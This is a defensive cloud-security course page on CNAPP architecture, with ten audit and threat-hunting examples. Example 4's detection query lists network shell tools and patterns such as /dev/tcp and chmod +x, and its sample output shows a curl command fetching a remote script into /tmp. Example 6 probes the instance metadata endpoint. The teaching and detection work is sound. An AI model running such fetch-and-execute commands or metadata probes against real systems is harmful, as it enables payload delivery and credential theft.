← Course Index

5.1 Cloud-Native Application Protection Platform (CNAPP):
Posture, Risk Graph & Workload Defense

Unifying Cloud Security Posture, Vulnerability & Secret Context, Identity Permissions & Runtime Workload Protection

Module 5: Cloud & Container Security CNAPP Architecture Cloud Risk & Posture

1. Consolidating Cloud Security Around Toxic Combinations

Cloud environments generate thousands of isolated findings—misconfigured storage or security groups, unpatched container packages, exposed credentials, and over-privileged roles. A Cloud-Native Application Protection Platform (CNAPP) brings these signals together so teams can see how exposures connect into real attack paths rather than drowning in unprioritized alerts.

Prioritize Chained Exposures: A public endpoint alone or a vulnerable package alone may be low risk, but a publicly exposed workload with high privileges or sensitive data access deserves immediate attention.
CLOUD TELEMETRY Resource Configs & IaC Images, Packages & Secrets IAM Roles & Network Paths Workload & Runtime Events CNAPP CORRELATION LAYER Posture & Exposure Graph Link reachability, identity & data Runtime & Drift Checks Spot anomalous execution & config Remediation & Guardrails Fix IaC/configs • Scope privileges Verify posture after rollout CLOUD OUTCOMES • Focused Fix Backlog • Shift-Left to IaC / CI • Faster Cloud Triage
Figure 5.1: CNAPP Architecture Connecting Cloud Telemetry, Risk Correlation, Runtime Visibility, and Remediation.

2. Core Pillars of Cloud-Native Protection

Capability Area What It Evaluates Operational Focus
Cloud Posture & IaC Cloud resource settings, network exposure, encryption, and infrastructure-as-code templates. Catch misconfigurations early in IaC/CI and prevent risky drift in live accounts.
Vulnerability & Secret Context OS/library packages, container images, and embedded credentials/tokens. Prioritize reachable or privileged workloads over isolated low-exposure findings.
Cloud IAM & Runtime Effective permissions, trust boundaries, and live process/network behavior. Enforce least privilege and investigate anomalous workload activity quickly.
Fix Root Causes in Code & Policy: Manual console edits often get overwritten by IaC or drift back. Remediate misconfigurations at the source (Terraform/CloudFormation/Helm/IAM policies) whenever possible.

3. Practical Cloud Posture, IaC & Hunting Examples (10 Scenarios)

Example 1: Checking Terraform / IaC for Publicly Open Ingress Rules (Python)

Python (json) — Flagging 0.0.0.0/0 Ingress Rules in a Terraform Plan JSON
import json

with open("tfplan.json", encoding="utf-8") as f:
    plan = json.load(f)

for change in plan.get("resource_changes", []):
    after = change.get("change", {}).get("after") or {}
    if after.get("cidr_blocks") == ["0.0.0.0/0"]:
        print("Open CIDR found:", change.get("address"), "port:", after.get("from_port"))
SAMPLE OUTPUT
Open CIDR found: aws_security_group_rule.allow_ssh_all port: 22

Example 2: Checking Kubernetes / Container Manifest for Privileged Containers (Python)

Python (yaml) — Auditing Pod/Container Security Context Flags
import yaml

with open("deployment.yaml", encoding="utf-8") as f:
    doc = yaml.safe_load(f)

containers = (
    doc.get("spec", {})
       .get("template", {})
       .get("spec", {})
       .get("containers", [])
)

for c in containers:
    sc = c.get("securityContext") or {}
    if sc.get("privileged") or sc.get("allowPrivilegeEscalation"):
        print("Review securityContext on container:", c.get("name"), sc)
SAMPLE OUTPUT
Review securityContext on container: worker {'privileged': True}

Example 3: Hunting Cloud Control-Plane & Audit Events by Action (KQL)

KQL (Microsoft Sentinel) — Reviewing High-Impact Cloud Activity Logs
AzureActivity
| where TimeGenerated > ago(24h)
| where OperationNameValue has_any ("ROLEASSIGNMENTS/WRITE", "POLICYASSIGNMENTS/DELETE", "SECURITYGROUPS/WRITE")
| summarize
    Events = count(),
    Actors = make_set(Caller, 10),
    Targets = make_set(_ResourceId, 10)
  by OperationNameValue, ActivityStatusValue
| order by Events desc
SAMPLE OUTPUT
OperationNameValue                     ActivityStatusValue Events Actors                       Targets
------------------                     ------------------- ------ ------                       -------
MICROSOFT.AUTHORIZATION/ROLEASSIGN... Succeeded           2      ["ops-deploy@corp.example"]  ["/subscriptions/.../roleAssignments/..."]

Example 4: Hunting Suspicious Container / Cloud Host Processes (KQL)

KQL (Microsoft Defender) — Spotting Interactive Shells or Network Tools in Containers
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("sh", "bash", "ash", "curl", "wget", "nc", "python3")
| where ProcessCommandLine has_any ("http://", "https://", "/dev/tcp", "chmod +x", "base64")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| order by Timestamp desc
SAMPLE OUTPUT
Timestamp            DeviceName      AccountName FileName ProcessCommandLine
---------            ----------      ----------- -------- ------------------
2026-11-26 06:12:04Z k8s-node-04     root        curl     curl -fsSL https://198.51.100.72/agent.sh -o /tmp/agent.sh

Example 5: Checking Running Containers & Images on a Linux Host

Bash (docker) — Listing Active Containers, Images & Status
docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}"
SAMPLE OUTPUT
ID           NAMES         IMAGE                        STATUS
a1b2c3d4e5f6 api-gateway   registry.example.com/gw:v2   Up 3 days

Example 6: Checking Cloud / Instance Metadata Reachability Safely (Bash)

Bash (curl) — Testing Reachability with Short Timeout
curl -sS -o /dev/null -w "HTTP %{http_code}\n" --max-time 3 http://169.254.169.254/latest/meta-data/ || true
SAMPLE OUTPUT
HTTP 401

Example 7: Velociraptor VQL — Listing Running Processes on a Cloud Workload

VQL (Velociraptor) — Querying Processes on a Cloud VM or Node
SELECT
  Pid,
  Ppid,
  Name,
  Exe,
  CommandLine
FROM pslist()
LIMIT 25
SAMPLE OUTPUT
Pid   Ppid  Name       Exe                     CommandLine
---   ----  ----       ---                     -----------
1042  1     containerd /usr/bin/containerd      /usr/bin/containerd

Example 8: Wazuh Rule — Alerting on Cloud / Container Log Events

XML (Wazuh Rule) — Flagging Suspicious Cloud or Container Events

  
    80700
    privileged|PublicAccess|RoleAssignment
    High-interest cloud or container configuration event on $(agent.name)
  
SAMPLE OUTPUT
** Alert 1795690112.88312: - local,cnapp,cloud_posture
2026 Nov 26 06:15:09 (k8s-node-04) 10.20.8.15->docker
Rule: 101001 (level 10) -> 'High-interest cloud or container configuration event on k8s-node-04'

Example 9: Prioritizing Cloud Findings by Exposure & Privilege (Python)

Python — Sorting Findings by Reachability and Privilege Flags
findings = [
    {"id": "F-1", "public": True,  "high_priv": True,  "title": "Exposed role with broad write"},
    {"id": "F-2", "public": False, "high_priv": False, "title": "Internal low-priv package"},
    {"id": "F-3", "public": True,  "high_priv": False, "title": "Public HTTP endpoint"},
]

ranked = sorted(findings, key=lambda x: (x["public"] and x["high_priv"], x["public"]), reverse=True)
for item in ranked:
    print(item["id"], "| public:", item["public"], "| high_priv:", item["high_priv"], "|", item["title"])
SAMPLE OUTPUT
F-1 | public: True | high_priv: True | Exposed role with broad write
F-3 | public: True | high_priv: False | Public HTTP endpoint
F-2 | public: False | high_priv: False | Internal low-priv package

Example 10: Checking Cloud CLI / Account Context Before Running Audits

Bash (az) — Verifying Active Subscription & Account Context
az account show --query "{name:name, id:id, state:state}" -o table
SAMPLE OUTPUT
Name                 Id                                    State
----                 ------------------------------------  -------
Prod-Platform-Sub    11111111-2222-3333-4444-555555555555  Enabled

4. Interactive CNAPP Risk & Posture Simulator

Select a cloud scenario below to review the risk context and remediation guidance:

← Previous: 4.9 Breach & Attack Simulation (BAS) 5.2 Cloud Security Posture Management (CSPM) →